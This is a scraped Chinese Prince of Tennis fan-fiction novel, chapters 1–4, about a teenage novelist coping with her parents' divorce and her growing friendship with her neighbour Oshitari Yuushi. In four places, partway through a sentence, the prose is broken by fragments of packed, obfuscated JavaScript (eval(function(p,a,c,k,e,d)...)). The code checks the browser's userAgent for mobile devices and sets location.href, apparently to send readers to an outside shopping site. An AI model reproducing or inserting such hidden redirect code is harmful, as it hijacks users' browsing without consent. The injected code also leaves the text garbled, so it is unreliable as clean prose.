《[网王]月亮月亮》 1. 001 平野月咲踏入影厅的瞬间,头顶灯光瞬间褪去。 她借着银幕忽明忽暗的微光,在狭窄的过道间摸索着寻找自己的座位。 电影《情书》重映的首场,平野月咲卡点买了个好位置,此时心情有种难以言说的微妙。 甚至她想,自己竟然还有心情来看电影。 低声说着“失礼了”,边侧身挤进逼仄的过道。 平野月咲在空位停下时,不经意间与邻座男生四目相对,微微一怔。 他深蓝色的发丝在银幕变幻的光影中时隐时现,戴一副圆框眼镜。 平野月咲认识他,据说几周换一次女友的同校同学——忍足侑士。 察觉到她在对座位号时,对方十分善解人意地提醒:“这里是第八排。” 声音低醇,确实像是“芳心纵火犯”那种类型。 也是平野月咲最喜欢的关西腔。 他话音刚落,影厅就陷入一种奇异又静谧的黑暗,平野月咲只捕捉到两点来自他镜片的星光。 她匆匆落座道谢:“多谢,忍足君。” 安静中传来触碰爆米花、塑料杯的声音,还有细碎低语,没过多久,银幕重新亮起。 平野月咲是喜欢这部电影的——如果没有看见那一幕,她现在可以理智地欣赏这部电影的各种美学。 时间回到一小时前。 平野月咲在银座看到了父亲平野光,本想上去打个招呼,靠近却听他对电话那头说:“虽然已经离婚了,但我现在也只想专注事业……以后还请不要再提了。想要角色必需得试镜,这事没得商量。” 离婚。 平野月咲怔在原地。 一个月前他们一家三口还一起吃了顿饭,给要去国外拍摄的母亲践行,其乐融融。 回过神来时父亲的身影已然消失不见。 平野月咲给在国外拍戏的母亲打了电话求证他们离婚的消息,那边正是清晨。 母亲急切反问:“月咲是怎么知道的?” 不是否认。 她的母亲在遇到父亲之前,也叫平野光。 在成为演员之前是一名歌手,后来遇到还是不知名导演的平野光。和《情书》中的暗恋情节不一样,同名同姓的缘分让两人很快相知相爱,踏入婚姻,一直是圈内的模范夫妻。 平野光收敛情绪,声音温柔得像一潭湖水:“月咲,我们都爱你,这一点不会变。” 平野月咲张了张嘴却不知道说什么,她在片场的嘈杂声中捕捉到呼喊母亲名字的声音。 “月咲,宝贝……”女儿的沉默让平野光无比慌张。 这部电影是国际影片,是母亲好不容易争取来的机会。 平野月咲掐着手心,痛感让她清醒许多:“好,我知道了妈妈,你快去忙吧,我们晚点再说。” 结束通话,平野月咲茫然地伫立在街头。然后,手机传来冰冷的电子提示音,提醒她电影马上就要开场。 - 忍足侑士对平野月咲的印象有二。 其一是她文学素养很高,散文、俳句写得都不错,也拿过奖,是冰帝话剧部的一员。 其二是她暗恋迹部。 这很正常,迹部景吾是如太阳般耀眼的存在,但平野就总是默默注视着,属于众多暗恋少女中的一员。 现在—— 现在可能是告白失败了。 忍足侑士不经意间一瞥,女生长睫一片湿润,脸颊泛着一层晶莹水光,毫不夸张。 印象里平野月咲有一双很漂亮的眼睛,沉静忧郁。 多次用余光观察,她只是一味地流泪,依旧一如既往的安静,从不打扰别人。 忍足侑士不免十分头疼,一面在心里劝说自己专心看电影,一面又觉得好歹是同校同学……总之他难以集中精神。 话说回来,迹部种下的因果竟然要由他来承担嘛。 心下一叹,默默递过去一面手帕。 平野转头的一瞬,眼里浓重的悲伤,拽着人心往下沉。 平野月咲接过手帕,微微颔首以示感谢。 她回想了十七年间父母的相处,一家人一直是聚少离多,但平野月咲确信自己是爱里长大的孩子。 身为创作者——平野月咲目前是女高中生兼小说家,她最是知晓命运弄人,当命运降临到自己身上时……除了接受还有什么办法? 比她命运悲惨的人多的是,她需要时间来缓一下。 影片结束,厅内亮起的白炽光让平野月咲有片刻的眩晕,视线朦胧间,她感知到周围人接二连三起身离去。 她静静地坐着,差不多从影片刚开始她就这样放空自己了。 今天对忍足侑士来说不算个多幸运的日子,他不仅没能好好欣赏这部影片,还被投以陌生人谴责的目光。 甚至听到有女生向男友撒娇:“健太君,我真的很高兴你这么贴心,有些人都不知道怎么安慰女朋友,健太君真是温柔……” 指向性太重了喂喂!他明明也很贴心地递了手帕! 重点好像不是这个……重点是他又不是造成少女伤心的始作俑者。 忍足侑士看了一眼被少女紧紧攥着的手帕,已经湿得透透的了。 影院里人散得差不多,只有他和平野,后者马上因为保洁阿姨的来到一激灵清醒了过来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454800|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“谢谢你,忍足君。”平野月咲起身道谢,“手帕我会还你一块新的。” 忍足侑士蹙眉看着她离去,纤细单薄的背影似乎被巨大的悲伤笼罩,碰一下就要碎了。 犹豫一瞬马上跟了上去。 花季少女告白被拒万一想不开,那可真不是开玩笑的。 然后他决定,下次一定要好好吐槽迹部。 幸好平野只是进了家便利店,忍足侑士松一口气,正是晚饭时间,买份便当很合理。 等等—— 她的手伸向了一罐啤酒! 平野月咲时常会蹦出些出格的想法。 比如想尝试下酒精麻痹大脑的感觉,自己写文的时候设定过主角心情不好就会喝酒,真想试试看真实感受……现在正是一个好时机。 不过最后她还是放下了那罐啤酒,不谈能不能蒙混过关,如果被发现,会给店员带来麻烦。 街上的量贩机也能买到酒。 走过四个量贩机,平野月咲终于看到有啤酒售卖。 刚打开钱包,脑海里忽然有什么东西一闪而过。 灵感这种东西,不抓住说不定什么时候就会消失。 平野月咲一刻也等不及,就地蹲下,打开手机备忘录,万分认真地打字。 这是一个绝妙的灵感,是她从未写过的类型。 一想到自己要将它从无到有,赋予它文字的灵魂,便觉得自己的胸腔里像燃着一团火,指尖发痒,满心期待。 思考情节的间隙,平野月咲想自己的抗打击能力还真是强得过分。 上一秒被父母爱情困扰得想喝酒解忧,下一秒又马上为自己忽然蹦出的灵感窃喜。 余光瞥见一个很像忍足侑士的人,他进了边上一家寿司店。 忍足侑士打包了一份寿司,出来时平野已经起身,正盯着手机看,唇角有微微上扬的弧度。 值得高兴的是围绕在她周边的阴郁之气散去了不少,他猜测是朋友的暖心安慰起了效果。 于是忍足侑士也决定关心一下她。 “平野桑,未满二十不可以饮酒。” 平野月咲愣了下,抬头看他,对方向她轻轻颔首示意。 她抿抿唇:“我没有要买酒。” 她现在确实不打算买了,但被看得莫名有些心虚。 忍足侑士点点头,放心不少。 平野月咲见他拦了辆车,礼貌地和他道别:“再见,忍足君。” “再见。” 意识到天色已晚,平野月咲也决定回家。 另一个家。 她偶尔需要换个创作环境而买的一户公寓,平常不怎么住。 2. 002 正值下班高峰期,一路上有些堵车。 早知道就坐电车了,平野月咲心不在焉地想。 不知何时天已完全黑透,她偏头,五彩的霓虹灯光彰显着独属于东京的繁华。 犹豫再三,平野月咲给父亲发去简讯,告诉他自己晚上不回平野宅。 父亲消息回得很快,还附上一张某品牌包包的照片:[见不到宝贝女儿了好遗憾,这是买给月咲的,爸爸明天要出差去了哦。好好吃饭,早点睡觉。] 这应当是父亲今天在银座新买的包,至于出差,父亲也说过新电影要开拍的事,进组快则三个月,慢则六七个月都有可能。 因为不知道该如何面对,平野月咲做出了自己最讨厌的选择——逃避。 她再次看向车窗外,东京街头每人都步履匆匆,不会为谁停留。 她没有回父亲的信息。 “请慢走。” 司机将小票递过来时,平野月咲才意识到已经到了公寓楼下,连忙打开钱夹支付乘车费用。 这栋公寓是三年前买的,她用稿费支付了十分之一,剩下的由平野夫妻垫上,作为她成为“能靠文字养活自己的了不起的女儿”的礼物。 国中三年平野月咲一直在神奈川,大约一年半前才回的东京,大多数时候也是住在平野宅里。 公寓楼下的门禁是人脸识别,进了入户大堂,电梯门正缓缓关上。 就在这短暂的间隙里,平野月咲与电梯里的人视线相撞,彼此眼中都闪过难以置信的惊讶。 即将闭合的金属门重新向两侧滑开,暖色的灯光打在忍足侑士身上,将他修长的身影勾得越发清晰。 他推了下眼镜。 平野月咲常常将眼镜男设定为“温文尔雅”的类型,但显然忍足侑士不是。 他身上有同龄男生少有的一种成熟优雅的气质,以及说不上来的——色气。 并非是她想如此评价,而是他的外貌,声音,和桃色传闻组合在一起,共同带给她这种感觉。 “平野桑。”忍足侑士率先打招呼,语气冷静。 平野月咲扯了下嘴角:“忍足君。” 他的目光先是看向她口袋,又扫向她拎着的小包。 平野月咲反应过来,立马打开包包自证清白:“我没有买酒。” 可不要以为她是酒鬼。 在电影院哭了两个小时,她的眼睛都是红血丝,像只要咬人的兔子,比死气沉沉好多了。 忍足侑士轻笑一声,他指骨分明的手横挡在电梯门上,防止电梯再次闭合。 “进来吗?” “谢谢。” “不客气。” 平野月咲踏入电梯,瞥了一眼亮起的楼层按键,真是好巧。 电梯响起细微的机械运作声。 狭小的空间里顿时只剩下两人,空气里弥漫着若有若无的淡雅男香,品味很不错。 “我的对门邻居?” “嗯。”平野月咲点头。 忍足侑士想起公寓楼下的信箱,对面的门牌号上写的确实是“平野”。 原来是平野月咲的“平野”。 这是什么奇妙的缘分? 他忍不住脑补了一场她和迹部的虐恋,接下来是什么? 男主追妻火葬场?而他的定位像是爱上女主的邻居男二,默默守护,最后什么也捞不到,实惨。 明明很久没看狗血小说了…… 忍足侑士内心叹气,要这个荒唐的想法滚出他的脑子。 二十六层很快就到。 两人礼貌道别,背对着进了自家。 平野月咲看着空荡荡的家叹气,好多家具连薄膜都没撕掉。 好在定时会请人来打扫,是干净的。 她先是翻出某柜姐的联系方式,下单一条一样的手帕,想了想又挑了一款,报了地址要求送货上门。 然后便一头钻进书房,打开电脑,趁自己灵感尚在,噼里啪啦敲个不停。 新的灵感是一个BE短故事。 写至一半,平野月咲忽然感觉胃里空荡荡,这才想起来自己一整天没吃东西。 昨晚熬夜了,睡到中午准备出去觅食,谁知撞见那一幕,撕开的真相也像带走了她的一片灵魂,整个人恍恍惚惚过了一下午。 胸腔里的心跳声变得异常明显,平野月咲陡然升起一股强烈的预感。 起身时一阵头晕,脑袋发沉,她得在这前摇结束前找到东西吃—— 视线模糊地走出书房,到玄关门边,想要开门,手哆哆嗦嗦没了知觉,好久才打开。 这时候心跳越发快了起来,平野月咲撑着身体摸墙来到对面,她记得刚刚忍足拎了份寿司…… 看不到门铃在哪,胡乱拍了几下门,终于两眼一黑。 忍足侑士正在看书,被“咚”一声,不知道是什么砸门的声音吓一跳。 他赶忙查看了可视门铃,又被吓一大跳。 说实话,长发覆面倚在他家门上,他脑袋里第一时间浮现出的是贞子小姐。 冷静下来观其穿着,忍足侑士心中了然,马上开了门,确实是她。 面色唇色都苍白,和女鬼也不差什么了。 以后会走上医生职业道路的忍足侑士,此时仅是一个比常人懂多些医学常识的高中生。 他一时间拿不准她是什么病症,唤了好几声她的名字。 平野月咲还没彻底失去意识,微微掀开一点眼皮,她耳鸣得厉害,也不知道自己有没有发出声音:“饭……” 正打算叫救护车的忍足侑士:“……” 低血糖吗? 这家伙不会因为失恋一整天没吃饭吧。 忍足侑士斟酌了下,打算先将人带进家里。 “失礼了。” 打横抱起她的一瞬间,忍足侑士皱起眉。 他将人放在沙发上,拿了罐可乐,插上吸管递到她唇边。 平野月咲残存的生存欲望让她像一个机器人般,什么东西送到嘴边就吃什么。 入口是可乐的甜味,她不喜欢,但对方意外地强硬,又送到嘴边,要她再喝两口。 神奇的是没过多久,她感觉自己好受很多,再睁眼也不是一片黑。 是忍足侑士那张英俊帅气的脸,蹙眉看着她。 “好点了吗?” 平野月咲点头,额头传来一阵冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454801|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉,还有些疼。 “可以再喝两口。” 可乐被放在茶几上,发出清脆的一声响。 平野月咲猛地回神,意识到这是别人家后,马上坐得端正。动作幅度有些大,冰袋掉了下来。额头的痛感愈发清晰,好在是可以忍受的程度。 和她家一样的户型,但忍足家是精心装饰过的,布满生活气息。 茶几上有本书,熟悉的封面让平野月咲脑海里瞬间浮现出那句——“我想对你做,春天对樱桃树做过的事”。 一本浪漫的情诗集。 她忘了是从哪里听说的关于忍足侑士是花花公子这件事,但她对此并无太大疑虑,也无心求证。 忍足侑士气质风流,在女生里一直人气很高。 此时,她看着这本诗集,很快下定论,花花公子也得有内涵才能吸引到更多人。 毕竟这么迷人的声音不用来说情话,真是可惜了。 忍足侑士很快从厨房拿了寿司回来,连打包袋也没拆。 “平野桑,你拿回去吃吧。”他顿了顿,视线扫过少女苍白的唇,额发被冰袋化的水打湿,略显狼狈,“不管怎么说……都不值得做这样的事。” 为了维护少女的自尊心,他说得很委婉。 “啊……?” 对上她茫然的视线,忍足在她对面坐下,组织措辞:“嗯……我是说,感情上的事,不能勉强。” 平野月咲书里的男女主爱恨纠缠精彩,自己却是纸上谈兵,实际经验为零。 但眼前这位恋爱经验丰富,一张口就是感情。 平野月咲眸光一亮。 “忍足君,可以向你咨询吗?” 忍足侑士眼镜上闪过一道光,这是和迹部有关的八卦。 要听吗? 犹豫了下他道:“请说。” “两个相爱的人为什么不能走到最后呢?” 忍足侑士大脑宕机片刻:“那个……你确定是相爱?” “是的,我非常确定,有一方甚至说过没有对方就不能活下去的话。”平野月咲语气严肃,不像是开玩笑。 陷入恋爱幻想的少女……相不相爱暂且不提,以忍足对迹部的了解,对方应该会说——“生命是你自己的,没有本大爷你就活不下去?开什么玩笑。” 那么只有一种可能。 “她还会想不开吗?” “不会。” 忍足侑士松一口气,看她期望的眼神并不忍心说什么“其实他不爱你”之类的真话,思索再三,从他阅书无数的情节里找了个完美的理由。 “关于这个问题……我想应该是命运。” 平野月咲若有所思地点头:“啊……原来如此,总之谢谢你,忍足君。” 虽然说了等于没说,但命运嘛,平野月咲也相信命运。 她问的问题,大概只有当事人才真正知晓。 平野月咲拎起寿司,再次郑重道谢后回家。 她走后忍足侑士给迹部景吾发了条简讯: [你失去了一个很爱你的人] 对方回复得很快: [发什么神经?本大爷都说了少看点那些没营养的小说] 3. 003 平野月咲享用着她今天的第一顿饭,寿司的味道很不错。 回忆了下大概地点,她决定以后也要去买。 用完饭后,去门口取了公寓管家送上来的东西,是刚刚买的手帕,包装很精致。 她估算了下这份寿司的大概价格,往礼袋里放了几张纸币。 平野月咲没有忍足侑士的联系方式,她在书房拿了笔,在便签上写下几句感谢的话,就将袋子放到忍足家门口,只要忍足侑士一出门就能看到。 做完这些事,平野月咲再次一头钻进书房,她现在是真要写文了。 一进入状态谁也打扰不到她。 平野月咲写完最后一字,按亮手机屏幕,两点半。 又不小心熬夜了。 洗漱时她被自己狼狈的样子吓一跳。眼睛肿得不行,眼白布满红血丝,薄薄的刘海下能看到未褪去的红肿,现在还隐隐作痛。 脸色也差,与吸血鬼的差别可能就是少了两颗獠牙。 匆匆洗漱完,很快进入梦乡。 这一觉睡得很不踏实,困顿间也能感到眼睛的不适,醒来时已经十二点半,手机里有来自母亲的简讯,平野月咲赶忙查看。 [亲爱的月咲,我的女儿, 很抱歉让你担心了。 我和你父亲曾经因为相爱才走到一起,即使现在,我们依然感激彼此。 三年前我们就已决定分开,这是我们共同商量过的最好的选择。诸多原因,但有一点肯定的是无关背叛。 我们一直都想给你一个温暖的家,所以我们决定守护到你成年。没想到月咲先一步发现了秘密,月咲总是很擅长啊……三岁的时候还在树下挖出了我们的定情信件…… 感情的变化也不意味着失败,爱情更不是虚假的。我从不后悔遇见你父亲,希望我们亲爱的女儿也不要因此对爱情失去信心,你的人生才刚刚开始。 ps:谈恋爱了要记得告诉妈妈哦/摸摸头 我们都爱你,这一点永远都不会变。 妈妈,平野光] [不知不觉就说了好多……对不起,月咲,要接受这样的事实一定让你很难过吧,妈妈不知道该怎么安慰你……] [西班牙的风景很漂亮,要过来散散心吗?] [抱歉,妈妈果然不是很称职……] 平野月咲看着简讯良久地出神,她猛然往下滑,果然有来自父亲的信息,最后一条来自凌晨四点: [月咲,对不起,爸爸一直都爱你] [爸爸想和你聊一聊……方便的时候给爸爸回电好吗?] [不要不理爸爸啊/大哭] 本来沉重的心情看到这最后一句,有些哭笑不得。 她无奈地回道:[爸爸,那个时间点我怎么可能醒着……] 心头仍然酸涩,但平野月咲知道这是他们两人之间的事。她定神,分别给两人都回复了一句[爱你],外加一个撒娇亲亲的表情。 回完消息,平野月咲长长呼出一口气,从床上爬起来洗漱。 刚挤上牙膏,好友的电话就打了进来。 “月咲月咲,要不要一起喝下午茶,我知道一家新店!”藤沢秋奈的声音一如既往的有活力,知道怎样能更好吸引到她,又补充一句,“还可以观察人类哦。” 这算是平野月咲的小癖好,会默默观察一个人,将他的穿着,说话方式等各种行为记下,对人物塑造很有帮助。 而且看着看着说不定就能看到什么惊天八卦,特别是连锁咖啡店那样适合约会分手的地方。 平野月咲吐掉牙膏沫,应下好友的邀约,约定好见面时间地点。 在这之前,她要先去平野宅收拾东西。 昨晚她就发现了,在这里她竟然文思泉涌。这里离学校也更近,住着很方便。 平野月咲马上约好了搬家公司。 出门的时候她特地留意了一下对门,门口空空如也,想必忍足已经收到她的东西。 她下楼随便吃了份简餐,打车回平野宅。 平野月咲收拾得很快,最后犹豫一瞬,还是将父亲昨天送的包也装进去。 看着东西一点点被打包装箱,她生出一种慢慢从家里抽身的错觉,心口胀胀的。 “平野小姐,请问这些是所有吗?” 东西不多,没有大型家具,共二十来个箱子。 平野月咲点头,最后看一眼这个曾经三个人一起生活过的家,记在心里。 虽说之前父母工作关系也是外面到处跑,但现在她是真正要开始一个人生活了。 平野月咲提前联系好了公寓管家,那边会帮忙配合搬运上楼,又支付了费用,这才能赶去见好友。 藤沢秋奈比她到得要早,此时正坐在店里,优雅地喝她的英式下午茶。 “抱歉秋奈,来晚了。” “太见外……”藤沢秋奈未说完的话卡在喉咙里,“月咲,你怎么了?” 平野月咲摸了摸自己的脸:“脸色很差吗?” 藤沢秋奈知道她有熬夜的习惯,但脸色不好是其次,她有些担忧:“我觉得,你好像不开心。” “被你看出来了啊。” 平野月咲坐到她身边,紧紧抱了她,渴望从她身上汲取温暖。 藤沢秋奈很快回抱她,一下下轻柔地抚着她的背。 平野月咲没有哭,眼泪可能早就在昨天流干了。她深吸一口气,秋奈身上有和太阳一样温暖的味道。 点了杯咖啡,她和藤沢秋奈叙述着关于她家庭破碎的事。 藤沢秋奈的父母结合是因为家族联姻,没什么爱情可言,据她所知父亲在外有好几个情人,但她母亲很厉害,父亲可不敢搞出什么太大动静。她自己也有联姻对象,好在是一起长大的青梅竹马。 藤沢秋奈静静地听着,满眼心疼,张了张口想要安慰,又觉自己嘴笨,索性静静做个倾听者。 平野月咲还和她说了自己搬家的事。 “诶,搬去哪里?” 听到地址后藤沢秋奈恍然大悟:“就是那栋公寓啊,我记得是月咲自己赚钱买的吧,真厉害啊。” 平野月咲纠正:“我只出了十分之一的钱。” “那也很厉害了!”藤沢秋奈装模作样叹了口气,“不像我,只有花钱才有一手,我们月咲真是个独立的好孩子。” “大小姐——”平野月咲无奈地笑,“别说这么招仇恨的话。” “好嘛好嘛。”藤沢秋奈也笑,还摸了下月咲的头,“不开心要告诉我。” 别人或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454802|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会觉得藤沢秋奈活泼开朗,偶尔会有点粗线条,但在勾心斗角的环境里成长的孩子哪有真正傻的,她其实是个很敏锐的人。 从店里出来后她们又去商场逛了一圈,钱花出去,心情也跟着一点点明朗起来。 但晚上藤沢秋奈要参加晚宴,两人在暮色中不舍分别。 “那后天开学见哦,希望可以分到一个班!” “后天见。” - 回到家,平野月咲看着门口堆叠的箱子不禁头疼。 失策了,虽然不打算让别人帮忙整理,但也应该让他们把箱子搬进来才对。 这个点搬家公司已经下班,箱子堆放在楼道里也很不礼貌,平野月咲狠了很心,打算自己搬。 二十来个箱子而已,从门外搬进来,应该不会花很多时间。 事实证明她再一次失策了。 箱子不多,但每个都很有分量,搬了几个平野月咲就累得不行。 电梯门“叮”一声打开,正在喘气的平野月咲与她的邻居忍足君对上视线。 好想吐槽忍足侑士为什么总是在她狼狈的时候出现,不过没力气,点头示意就算打过招呼。 但是—— 他丝毫没有要转身回家的意思。 略显漫长的一阵对视。 有些距离,眼镜的遮挡,看不清他究竟是什么样的眼神。 平野月咲不明所以,疲惫让她的大脑思考都变得缓慢了。 忍足侑士动了,他走过来,停在她面前。 这位热心的邻居,轻松地搬起了一个箱子。 “平野桑,我帮你。” 如同天籁。 平野月咲累得心怦怦跳个不停,倚在门边缓了一会。 “要脱鞋吗?” 平野月咲摇头。 忍足侑士打量着空得过分的客厅,只有几个刚搬进来的箱子。 他回头询问:“放在这里吗?” 平野一看就是不运动的,呼吸起伏不定,脸红得像苹果,比起苍白无血色来,这样可爱多了。 平野月咲点头,试着说话:“谢谢你,忍足君。”声音有些哑。 “哦,不客气。”忍足侑士又出门搬一个,“平野桑送的礼物我很喜欢。” 礼物?平野月咲想应该是她多送的那块手帕。 忍足路过她身边时,她能看到他因抬手搬纸箱展现出的无比漂亮的手臂肌肉线条。 说来忍足侑士是网球部的吧,和迹部景吾一样。 现在是四月初,东京白天气温十几度,平野月咲还得穿个薄外套,而忍足侑士就穿一件短袖。 真是有活力啊。 她决定了,下一本要写运动型男主。 等心跳得没那么剧烈后,平野月咲也重新开始搬箱子。 只是她搬一趟喘三下,忍足侑士都有点担心她。 “起身的时候慢慢起,不然可能会头晕。” 平野月咲又不说话了,只点头。 好在最后有惊无险地搬完了。 “忍足君,进来喝口水吧。”平野月咲下意识地招呼客人,又马上反应过来,“不好意思……我忘记了我家没有多的杯子。” 忍足侑士勾唇笑了下:“没关系,我回家喝。” 4. 004 春假的尾声如樱花飘落般转瞬即逝,迎来冰帝学园开学的日子。 “好可惜啊月咲,我们不在一个班。”藤沢秋奈站在公告栏前叹气,“可恶,二年C组,你在D组。” “就在隔壁,很近啦。”平野月咲安慰她。 藤沢秋奈也很快释然,高一时两人也并不是同班,不妨碍她们见面。 两人在二年C组门口分别,平野月咲往前走两步,从后门进入D组教室。 教室里没多少人,平野月咲和熟面孔打了招呼,然后挑了最后第一排靠窗的位置落座,很方便她对着窗外发呆,幸运的话说不定可以目睹几场樱花树下的告白,满足她观察人类的癖好。 只是樱花快落完了,枝头零星挂着几朵,看着有些寂寥…… 所以,要给她新文的“运动型男主”安排什么样的告白好呢?校园、运动、恋爱,这几个关键词组合在一起来完全是最近的大势所趋。 不过,在这之前应该先确定男女主的类型。 平野月咲迫切地想要获得新题材的灵感,她不想沉浸在父母离婚带来的伤痛里,不得不让自己变得忙碌。 门口一阵喧哗,好几人进入教室,在中间的是一位棕发的男生。 叫什么来着? “太好了川井,我们又在一个班!” “总感觉有裕司在就很安心呢!作业请多指教啦!” “川井君比赛加油!” …… 对了,川井裕司,棒球部成员,在冰帝论坛上看到过几次他的名字,在男生和女生中都很受欢迎。 阳光开朗型,似乎也很不错啊,该决定女主角了…… 喧哗声突然消失,平野月咲托着下巴,回头看向门边。 忍足侑士和川井寒暄了几句,婉拒了坐在他边上位置的邀请,环视一圈后锁定一个座位。 窗边就很不错。 “早安,平野桑。” 这不是两人今天第一次问好。 平野月咲在家躺了一天调整作息,今天总算能早起上学。东京的早高峰很可怕,这栋公寓离冰帝不远,她决定乘电车。 就在她对着东京复杂的线路图陷入沉思时,忍足侑士的背影恍若救星般出现。 过闸,前走,转弯,悄悄跟了一段路……直到上月台,她打算换个队伍排队。 忍足侑士却突然回头,似笑非笑地看着她,和她说:“平野桑,好巧。早上好。” 平野月咲收回迈出半步的脚,镇定地和他打招呼。她本来就是要坐这趟车,不是吗? 平野月咲再次回应他:“早安,忍足君。” 忍足侑士在平野月咲前面落座,高大的背影挡在身前,她偏头看向窗外的樱花出神。 “要不要换一下?” 她被前面的人忽然转身吓一跳。 他语调慵懒随性,心思却细腻:“座位,我坐你前面会不会挡到?” “啊,好。” 前后交换了座位,平野月咲依旧继续沉浸在自己的世界里。 一直都陆陆续续有同学进教室,教室里安静又吵闹。 最后进来个秃头的中年男人,整间教室彻底安静下来。 平野月咲顿感不妙,他们的班主任竟然是这位可怕的数学老师竹村。 高一的数学课上,她曾因为观察窗外飞过的蝴蝶被他狠狠训斥过,好在是喊她到办公室训话,没让她当场社死。 竹村老师严厉地发表几句讲话后,就开始各种委员的竞选,一般是自荐。 平野月咲没有兴趣,倒是可以趁机观察班上同学的性格。 “平野桑不参选吗?”身后的人忽然问。 忍足侑士说话有关西腔,但这反而让他的声线更迷人。 还好靠得不近。 “图书委员,还以为平野桑会感兴趣。” “这样吗?” 她从左侧微微偏头与他说话,忍足侑士发现她的睫毛很长。 蓦地想起那日她长睫沾湿的样子,心下一跳。 他不动声色地垂眼:“平野桑家里有很多书。” 平野月咲恍然,解释道:“图书委员不仅是只需要看书那么简单。” 如果只是看书就好,那她很乐意。 忍足侑士听出她的言外之意,这倒是很符合他对她沉静的印象。 “忍足君平常也会看书吧?”平野月咲想起在他家茶几上看到的那本,“《二十首情诗与绝望的歌》。” 她自然而然地往下说,“我前不久刚看完,他的诗浪漫炽热,纯粹浓烈。” 忍足侑士第一次注意到平野月咲,是在学校的读书沙龙上,她分享读书心得时,他发现很多观点和他的不谋而合,他听得入迷。 后来,在训练时看到过好几次她的身影,她的目光追随着迹部,他恍然大悟原来又是一个迹部的迷妹……之后也没在读书沙龙上再遇到过她。 “那博尔赫斯?”他试探着问。 “意象多样,又美又贴切。” “佩索阿?” “矛盾又真实。” “与谢野晶子?” “细腻酸涩,热烈奔放。” 平野月咲忽然笑了一下,不知道什么时候靠在了他桌上,明亮漆黑的眼眸里也蕴着笑意,和在读书沙龙上打动他的一样又不一样。 但从没有离得这样近过。过去一年的接触也没今天加起来多。 “忍足君是在考我吗?这些只是我目前的想法,可能再多读几本他们的作品,又或是几年后再读,我会有不一样的感受。” 忍足侑士很赞同。 显然她这个姿势说话久了不舒服,她又换了个方向。 “我是想问忍足君平时看些什么书。”平野月咲语气真诚,“作为感谢,或者说忍足君有什么想要的。” 不对,她的脖子怎么比脸还白?化了妆,怪不得气色好。 昨天搬了家,今天也有心情装扮自己,是重拾对生活的信心了吗?他忍不住为她感到高兴。 忍足侑士漫不经心:“哦……那如果我说要天上的星星。” 平野有些疑惑地看了他一眼,可能在试图理解他这摸不着头脑的要求。 不过她却说:“天上的月亮要吗?我顺手帮你摘了。” 忍足侑士只觉心情一下变得前所未有的轻松,甚至愉悦地溢出一声轻笑。 平野月咲回身,开始思考起挑一本什么书送给他作为谢礼。 班委的选举很快结束,竹村老师又讲了几句话,完全没有迹部的发言振奋人心,忍足侑士心里这样吐槽道。 还是算了,下午就得听迹部这个学生会长讲话,他又要狠狠出风头了。 接下来的时间他们可以自己安排,只要一点半在大礼堂集合就好。 隔壁C组的活动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454803|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没结束,平野月咲给秋奈发了条简讯后去了话剧部的活动室。 部长栗山小百合见到她眼睛一亮。 “月咲!”没骨头似地缠上来,和她温婉端庄的名字一点都不搭,“这么多天没见,想死你了。” 平野月咲面无表情地吐槽:“春假就十几天吧。” “嘛嘛~你知不知道中国有句古话,一日不见如隔三秋,我想了你十几个三秋呢。” “小百合学姐,三秋是诗意化的时间概念,不是计量单位。”平野月咲纠正道,顺便掰开她快要摸到胸部的手。 其余几名成员见怪不怪,栗山一向如此热情,继任部长之后更是无法无天。 栗山小百合被学妹无情地赶下来,突然严肃:“好了,来谈谈作战计划。” ……话剧部的人,变脸速度从不让人失望。 平野月咲早已习惯这样的氛围,拉开椅子坐下。 “请说吧,学姐。” “据说新闻部打算扩展业务,要和广播部联合起来做新节目,他们需要男女主持各一名。漂亮的孩子们我们也要!”栗山小百合一拍桌子,“所以明天的社团招新,全都给我精神起来!” 所有人都被吓一激灵。 “但也不能只看脸,对话剧感兴趣才是最重要的。” “那么有人就要问了,不感兴趣怎么办呢?” 栗山小百合看一眼平野月咲,她接收到讯号很配合地问了一遍,虽然语气平平。 